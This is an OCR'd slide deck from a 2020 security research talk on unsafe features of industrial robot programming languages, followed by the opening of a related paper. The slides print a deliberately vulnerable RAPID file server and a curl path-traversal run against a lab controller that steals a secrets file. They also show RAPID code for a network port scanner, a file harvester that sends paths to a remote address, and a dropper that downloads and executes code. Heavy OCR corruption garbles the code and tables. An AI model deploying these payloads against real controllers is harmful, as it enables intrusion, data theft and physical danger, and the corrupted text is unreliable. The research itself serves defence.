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* Overlooked design flaws in industrial robot programming languages

* Can lead to vulnerable logic or to hide new kinds of malware
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* Overlooked design flaws in industrial robot programming languages
* Can lead to vulnerable logic or to hide new kinds of malware

* We'll share how to prevent and how to detect both cases
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How do we program industrial robots, anyways?

Marcello Pogliani, Politecnico di Milano
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MODULE Example

VAR robtarget point@ := [
[500,500,500],[1,0,0,0],[0,0,0,0],
[9E+09,9E+09, 9E+Q9, 9E+09, 9E+09, 9E+09]];

VAR robtarget pointl := [
[700,500,500],[1,0,0,0],[0,0,0,0],
[9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];

VAR zonedata zone := z100;

PROC main()
FOR i FROM 1 TO 10 DO
MoveJ point®, v100, zone, tool@, \WObj:=wobjo;
WaitTime 4;
Movel pointl, v10@, zone, tool@, \WObj:=wobjo;
WaitTime 5;
ENDFOR
ENDPROC
ENDMODULE
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MODULE Example
VAR robtarget point@ :
[500,500,500],[1,0,0,0],[0,0,0,0], ‘

[9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];
VAR robtarget pointl .= |
[700,500,500],(1,0,0,0],[0,0,0,0],
[9E+09,9E+09,QE+09,9E+09,9E+09,9E+09]];‘
VAR zonedata zone := 2100,

PROC main() ‘///,,,f—————————————-‘\\\\\\
FOR i FROM 1 TO 10 DO pointe@

°
| MoveJ point@, v10@, zone, toold, \WObj:=wobjo; | pointl
WaitTime 4;
|MoveL pointl1, v100, zone, tool@d, \WObj:=wobjo; I
WaitTime 5;
ENDFOR
ENDPROC
ENDMODULE

© 2020 Trend Micro Inc. & Politecnico di Milano



SAME CONCEPT, DIFFERENT LANGUAGE: KUKA'S KRL || ickivRo

Safe Edition #2

202
152 EDIZIONE

DEF example()

DECL POS post1
DECL POS pos2

posl := {X 500, Y 500, Z 500, A 0, B @, C 0}
pos2 := {X 700, Y 500, Z 500, A 0, B @, C 0}

FOR I=1 TO 190

ot

PTP pos1 ®
WAIT SEC 4 pos2
PTP pos2

WAIT SEC 5 o

END

© 2020 Trend Micro Inc. & Politecnico di Milano



PROPRIETARY LANGVYAGES

Lancvace

RAPID

KRL

MELFA BASIC
AS

PDL2
PacScript
URScript
KAREL

VENDOR

ABB

KUKA
Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robot
FANUC

© 2020 Trend Micro Inc. & Politecnico di Milano

PDL2

ing Language M.

P
Progr

System Software Rel. 3.3x

Comau Robotics
Instruction Handbook

FANUC Robotics SYSTEM
R-30/A and R-30/B Controller
KAREL Reference Manual

MARRC75KR07091E Rev D

oooooooo
Technical reference manual
RAPID Instructions, Functions and
types

The URScript Prog
Languag

Version 5.4
May 31,2019

Simple%friendly

|

B Kawasaki

Kawasaki Robot Controller
E Series

AS Language
Reference Manual

Quickguide

KRL-Syntax

KUKA Roboter
KSS Relase 8.x

Kawasaki Heavy Industries, Ltd.

90209—1022DEC

DENSO ROE

JGRAMMER'S MANU
PAC Lil

MITSUBISHI

Mitsubishi Industrial Robot

MELFA-Works Instruction Manual

CR750-D/Q Series
CRnD/Q-700 Series
CRn-500 Series

(3F-21D-WINE)

MELFA
BFP-A8525-G




FEATURES: HANDLE FILE RESOURCES

VENDOR

ABB

KUKA
Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robot
FANUC

FILE
SYSTEM

S SN

<

DIRECTORY
Listwe

4

Indirect

4
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®

VENDOR FILE DiReCTORY Load MODULE FrOM CAaLL By

SYSTEM Listwwe FILE NAME
ABB Q/ V V V
KUKA v
Mitsubishi v
Kawasaki
COMAU V4 Indirect v V4
DENSO (\/ V
Universal-Robot
FANUC V4 v Vv v
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VENDOR s.gf " DZ';?:Y eos Mgzc-/:s AL cz:;:y COMMUNICATION
ABB "4 4 4 "4 4
KUKA V4 v
Mitsubishi v v
Kawasaki v
COMAU v Indirect v v v
DENSO v v v
Universal-Robot v
FANUC 4 4 4 4 4
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/
/ PERM. PERM.
n )‘( | | _
A A X A MEDIATED
I : 051y _ fLAT vV 05 | Access
HARDWARE HARDWARE
o

A4 &

© 2020 Trend Micro Inc. & Politecnico di Milano



research
AEK N [] G ) POLITECNICO
.: 9500 MILANO 1863
Winter itlon |
152 EDIZIONE

Secure Programming vs. Automation Engineers

Federico Maggi, Trend Micro Research
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What language features do you use when programming robots?

Network sockets —n
File operations |
DT GO ™
loading i
Subroutine L
0% 100%
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Discussion about
security-related topics

2.5%

5.5%
1.8%

0.9%

7.2%
0.0%
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4.7%

0.3%
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SECVRITY-RELATED KEYWORDS MENTIONED

ONLINE COMMVNITY

forum.adamcommunity.com

dof.robotig.com

automationforum.in
robot-forum.com/robotforum

control.com
solisplc.com/forum

forums.mrplc.com
reddit.com/r/robotics

plc.myforum.ro

forum.universal-robots.com

forums.robotstudio.com
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* Scarce security awareness at least according to our small interview
plus the online community
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* Scarce security awareness at least according to our small interview
plus the online community

* Industrial robots (and probably other machines) are programmed
using legacy, proprietary languages
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* Scarce security awareness at least according to our small interview
plus the online community

* Industrial robots (and probably other machines) are programmed
using legacy, proprietary languages

* These languages have security-sensitive features
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* Scarce security awareness at least according to our small interview
plus the online community

* Industrial robots (and probably other machines) are programmed
using legacy, proprietary languages

* These languages have security-sensitive features

* There’s no fine-grained isolation system for such features

© 2020 Trend Micro Inc. & Politecnico di Milano
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* Developers can introduce vulnerabilities that can be exploited

* Threat actors can abuse the language features to write malware
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* Developers can introduce vulnerabilities that can be exploited
- YES, WE FOUND VULNERABLE CODE PVBLISHED ON GITHVEB

* Threat actors can abuse the language features to write malware

- YES, WE WERE ABLE TO WRITE A NETWORK-CAPABLE, SELF-SPREADING
MALWARE DROPPER

© 2020 Trend Micro Inc. & Politecnico di Milano
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Vulnerable Automation Scripts

Marcello Pogliani, Politecnico di Milano
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PROGRAMMING LANGVAGES SECVRITY AUWARENESS

Security-sensitive Features + Lack of Input Validation

Vulnerabilities

VARIOVS INSTANCES:

* VNRESTRICTED MOVEMENT COMMANDS
- PATH TRAVERSAL

- UNRESTRICTED FUNCTION CALLS

© 2020 Trend Micro Inc. & Politecnico di Milano
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Example: motion servers

NETWORK ROBOT CONTROLLER

deg =20 MOVE (20

TASK
PROGRAM

© 2020 Trend Micro Inc. & Politecnico di Milano
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[ ros-industrial / kuka_experimental ©watch 30  %star 96  YFork 107

<> Code Issues 25 Pull requests 16 Actions Security Insights I CS-ALE RT-ZO-Z 1 7-0 1

2:ROS
“\\\v industrial

ROS-INDUSTRIAL

Experimental packages for KUKA manipulators within ROS-Industrial (http://wiki.ros.org/kuka_experimental)

kuka ros-industrial urdf rsi ros-control
D 114 commits P 2 branches @ 0 packages © O releases 42 13 contributors sfs Apache-2.0
 —
Branch: indigo-devel v New pull request Find file Clone or download ~
gavanderhoorn readme: load badge from Kinetic devel job. v Latest commit 984e1f2 on Oct 14, 2019
B kuka_eki_hw_interface eki_hw_interface: add cmd buffer length limit to avoid overfeeding co... 17 months ago

© 2020 Trend Micro Inc. & Politecnico di Milano
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VNRESTRICTED MOVEMENT COMMANDS

Without Input Validation
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NETWORK ROBOT CONTROLLER
deg =20 MOVE (20
g > (20)
deg =50 MOVE (50)
deg = stuff MOVE (stuff)
TASK
PROGRAM

ENRENAREN

(E)
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VNRESTRICTED MOVEMENT COMMANDS

With Input Validation
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ROBOT CONTROLLER

MOVE (20)

NETWORK
deg =20
& |
deg = 50
& .
TASK
PROGRAM

x (NVALID

A

(E)
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DEF external_movement()
DECL axis pos_cmd

eki_init("ExiHwInterface")
eki_open("EkiHwInterface")

LOOP
eki_getrealQ"EkinInterface"I "RobotCommand/Pos/#A1", pos_cmd.al)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A2", pos_cmd.a2)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A3", pos_cmd.a3)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A4", pos_cmd.a4)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A5", pos_cmd.a5)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A6", pos_cmd.a6)

IPTP joint_pos_cmdl
ENDLOOP
END

© 2020 Trend Micro Inc. & Politecnico di Milano
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dcfleki_hw_iface_init() initialize network interface I
decl eki_status eki_ret

global interrupt decl 15 when
$flag[1]==false do eki_hw_iface_reset()
interrupt on 15
global interrupt decl 16
when $timer_flag[1]==true do eki_hw_iface_send()
interrupt on 16
wait sec 0.912
$timer[1] = -200
$timer_stop[1] = false

eki_ret = eki_init("EkiHwInterface")
eki_ret = eki_open("EkiHwInterface")
end

def eki_hw_iface_send() ; write data to network

dorl oki <tatine aki rot

© 2020 Trend Micro Inc. & Politecnico di Milano
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deffct int eki_hw_iface_available() ; check if there is data form network ]5
decl eki_status eki_ret

eki_ret = eki_checkbuffer(
"EkiHwInterface", "RobotCommand/Pos/@A1")
return eki_ret.buff
endfct

deffctlint eki_hw_iface_get(joint_pos_cmd :out) ; read data from network I
decl eki_status ekl_ret
decl axis joint_pos_cmd

eki_ret = eki_checkbuffer(
"EkiHwInterface", "RobotCommand/Pos/@A1")
if eki_ret.buff <= @ then
return @

endif

© 2020 Trend Micro Inc. & Politecnico di Milano
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gecl real vel_percent

if $flag[1] then
eki_ret =] eki_setreal(

"EkiHwInterface",

"RobotState/Pos/@A1",

$axis_act_meas.al)

eki_ret = eki_setreal(
"EkiHwInterface",
"RobotState/Pos/@A2",
$axis_act_meas.a2)

if $flag[1] then
eki_ret = eki_send(
"EkiHwInterface",
"RobotState")
endif

endif

© 2020 Trend Micro Inc. & Politecnico di Milano
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NETWORK ROBOT CONTROLLER

GET file open(file)
> >
d(fil =D&
4 read(file) ==

TASK
PROGRAM

© 2020 Trend Micro Inc. & Politecnico di Milano



DIRECTORY TRAVERSAL ON FILE RETRIEVAL L\Agfiﬁgm

Safe Edition #2

202
152 EDIZIONE

NETWORK ROBOT CONTROLLER
GET file open(file)
s s
d(fil =D
4 read(file) .
NO (NPVT
GET ../../vault/secret VALIDATION
- .
- s
task program

© 2020 Trend Micro Inc. & Politecnico di Milano
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MODULE VulnWebServer
PROC main()

SocketCreate server;
SocketBind server, '0.0.0.0', 1234;
SocketListen server;

SocketAccept server, sock;

WHILE true DO

SocketReceive sock, \RawData:
fileName := ParseCommandydata) ;
Open [fileName, |res;
ReadAndSendFild(\file:=res, | \socket:=sock);
ENDWHILE
ENDPROC

ENDMODULE

© 2020 Trend Micro Inc. & Politecnico di Milano



' 1’ Directory: /home/www/
EXAMPLE I " jl cfn | OVTSIDE I ¢ ln DOcuments librar
Vintual Controllers ‘ 70)
4 1 NewCorntroer A THE A " lJTmc 1ze Seconds since 1970)
i HOME C Name goor C ame -— E v
8 Configuration McC W f ABB Logomf 41 1516111744
o ] Evert Log s C ::J?:;;A 8C log f exampleWebPage rtml P02 1516111744
L src
W & 1O System IR ¥R d 1593032704
:'| « [ RAPID PRODUCTS % ABB_Logo.gif dz 1593017856
9 ST b & STPAR L | o complelebPagestml § ¢ cartPage rtmi $12 1516111744
El 4 W3 WebSev 9p (=) (676F8BE7-3CoF-44 T statPage.itml N —
Y s netconfig.db N A RAPID Server 11
Q Q] BASE = % Registry.db -
k ‘ a v * RWésystem.aml 8 v
Q D e secrets it WEB SERVER ROOT
0 ’ = systemaml
3 ) WebServer W Co ™ Co
B Test\itualCont

:,/(l‘)]l»" 9
Time Time
Spent Left

) curl
% Total

NEtp://192.168.215.128:5585/. .\\..\! | sed -~e
% Recelved % Xferd Average Speed Time
Dload Upload 114 }!
100 2858 8 2050 e (%) 9274 e
ABB8 IRCSABB IRCS Robot ControllerDirectory
1978)d../~~-dHME/-1593831424
GINTERNAL /-159: 919392
fnetconfig.db112641593833680
dPRODUCTS/-159: 917728
fRegistry.db16! 841593033600
fRWGsystem. xmll 451593018752
fsecrets.txt16' 593833984
dSYSPAR/-15930817728
fsystem.xml107( 1593018752
f{676FBBE7-3C91 ~-4AA1-BB75-3099997898F3 ). xm132321593822848
RAPID Server 1.1
3 curl "httn:/

current
Speed
9318

home \\..\\/NameS1izeSeconds since

192.168.215.128:5505/ \\secrets.txt

SECRETS STOLEN

secrets are hereg
“s B

" m
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NETWORK ROBOT CONTROLLER
PUT file
_ -
- _:')‘ '
NO (NPVYT
PUT ../conf/config VALIDATION
> >
: = b B
E e
TASK
PROGRAM
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NETWORK ROBOT CONTROLLER

Funct = "StartCycle" call("StartCycle")
> >

Funct = "Wait" call("wait")
_ P ROBOT WILL WAIT
Funct = <any...> call(<any defined function>)
- -
TASK
PROGRAM

© 2020 Trend Micro Inc. & Politecnico di Milano



(ED)
Tneut VALIDATION ON EVvNCTIoN CALLS HackINBo

Safe Edition #2

202
152 EDIZIONE

* With input validation...

NETWORK ROBOT CONTROLLER

Funct = "StartCycle" call("startCycle")
> >

Funct = "Wait"
> | ——¥ wvacw

TASK
PROGRAM

© 2020 Trend Micro Inc. & Politecnico di Milano
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* Exchange files via network

VENDOR

ABB

KUKA
Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robot
FANUC

=

FiLE
SYsTem

S SIS

<

DiReCTORY
Lisnwe

4

Indirect

4

LOAD MODULE FrOM
FILE

v

v

v

v
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ARE THESE LANGUAGES GOOD TO WRITE MALWARE?

* Load or send data via network

* Jump to code available at runtime
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VEnbor

ABB

KUKA
Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robot
FANUC

FILE

< Q&Qg

<

DIRECTORY
Lisnwe

4

Indirect

4

@
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ARE THESE LANGVAGES GOOD TO WRITE MALWARE? AAEI?“‘)IB[F
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* Load or send data via network
* Jump to code available at runtime

*Scan the network for targets
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Vewnpor

ABB

KUKA
Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robot
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ARE THESE LANGVAGES GOOD TO WRITE MALWARE? l-\AEIE(“‘)IB[F
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* Load or send data via network
* Jump to code available at runtime
*Scan the network for targets

* Turing-complete language

© 2020 Trend Micro Inc. & Politecnico di Milano
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CAN WE SCAN THE NETWORK? HackINBo

316
317
318
319
320
321
322
323
324
325
326
327
328
329
33e
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345

S|

FUNC bool scan_port(string ip, num port) Safe Edition #2
SocketCreate sock; 15t E01210NE
SocketConnect sock, ip, port \Time:=1;
SocketClose sock;

RETURN TRUE;

ERROR

IF ERRNO = ERR_SOCK_TIMEOUT THEN
SocketClose sock;
RETURN FALSE;

ELSE
RAISE;

ENDIF

ENDFUNC

PROC network_scan()
VAR string ip_address_prefix := "10.0.0."; ! target network
VAR string ip_address;
VAR string out;
CONST num Portslen := 3;
VAR num ports{PortsLen} := [5@011, 5012, 5013]; ! target ports

VAR bool result;
curtargets := 1;

FOR j FROM firsttarget TO numtargets + firsttarget DO
ip_address := ip_address_prefix + NumToStr(j, ©);

FOR i FROM 1 TO PortsLen DO
result := scan_port(ip_address, ports{i});

© 2020 Trend Micro Inc. & Politecnico di Milano



CAN WE EXFILTRATE FILES? HickiNBo

1 MODULE FileHarvester Safe Edition #2

p

3 ! Small PoC payload of a file harvester.

4 | Take recursively the list of files in the HOME:/ direct
5 ! and sends it to a remote service (pre-defined IP addres
6

7 VAR socketdev sock;

3

9 [EIPROC 1sdir(string dirname)

10 VAR dir directory;

11 VAR string filename;

12 VAR string path;

13 OpenDir directory, dirname;

14 [? WHILE ReadDir(directory, filename) DO

155 IF filename <> ".." AND filename <> "." THEN
16 path := dirname + "/" + filename;

17 & IF IsFile(path, \Directory) THEN

18 1sdir(path);

19 | ENDIF

20 SocketSend sock \Str:=path;

21 | ENDIF

Z5 || ENDWHILE

23 CloseDir directory;

24 | ENDPROC

-~
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MODULE Dropper
PROC main_loop()

| ... variable declaration

| ... socket creation and initialization

WHILE TRUE DO
SocketReceive clientsock, \Str:=data;
name := ParseName(data)
Open diskhome + "/" + name + ".mod", f;
WHILE data DO

SocketReceive clientsock, \Str:=rec; ). READ DATA FROM THE NETWORK

Write f, rec; 2. WRITE PATA TO FILE
ENDWHILE
Load \Dynamic, diskhome \File:=name + ".mod";
I%name + ":main"%; ! call function by name I B  LOAD THAT FILE AS CODE
ENDWHILE
ENDPROC
ENDMODULE
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* Option 1: We have an RCE in the automation scripts

* Option 2: The attacker can be a bit more creative
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1. EXECUTIVE SUMMARY

e CVSSv34.3

e ATTENTION: Exploitable remotely/low skill level to exploit

e Vendor: KUKA

e Equipment: Sim Pro

e Vulnerability: Improper Enforcement of Message Integrity During Transmission in a Communication Channel
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* Secure communication: hard to implement without language support
* Input validation: hard to fix — what to do when invalid input comes in?
* Privilege separation: requires changes at the OS/runtime level

* Code signing: will probably take 5-10 years to see this widely deployed
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* feels like 25 years ago: remember the first vulns in web apps?

* No resource isolation: if bad things happen...can be very bad!
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* No resource isolation: if bad things happen...can be very bad!

* Automation engineers: please follows security guidelines
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* feels like 25 years ago: remember the first vulns in web apps?
* No resource isolation: if bad things happen...can be very bad!

* Automation engineers: please follow security guidelines

* CISOs: please consider to audit logic written in proprietary languages!
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* We have a working prototype that can find vulnerabilities in

* ABB RAPID
* KUKA KRL

*If you're interested: get in touch with us!

https://robosec.org

Detecting Unsafe Code Patterns in Industrial Robot Programs

Marcello Pogliani
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Abstract

Key to modern smart manufacturing, industrial robots are complex
and customizable machines that can be programmed in a variety of
ways. In addition to the “teach by showing” paradigm, most ven-
dors provide domain-specific programming languages to operate
the robots with high precision. Such fully fledged programming
languages povide not only movement instruction, but also access
to low-level system resources, such as network and file systems.
Although useful, these features create venues for unsafe program-
ming patterns, which could lead to taint-style vulnerabilities or
malware-like functionalities. In this paper, we analyze the program-
ming languages of 8 leading industrial robot vendors, systematize
their technical features, and discuss cases of vulnerable and ma-
licious uses. We then describe the source-code analysis tool that
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multiple systems through a wide range of protocols and technolo-
gies: They are tightly integrated with programmable logic con-
trollers (PLCs), manufacturing execution systems (MESs), vision
systems, and a variety of I'T and OT networks in the factory floor.
Industrial robots can be programmed online, using the “teach by
showing” method, or offline, using purpose-built, domain-specific
programming languages. These industrial robot programming lan-
guages (IRPLs) include special instructions to move the robot’s arms,
as well as common control-flow instructions and APIs to access low-
level system resources. Writing task programs (i.e., the programs
that define the task the robot executes) in IRPLs is useful to system
integrators and end users to implement complex tasks such as in-
tegrating external systems in the production process. IRPLs allow
programmers to access—in an almost unconstrained way—several
robot’s resources like its mechanical arms. file-svstem. network.
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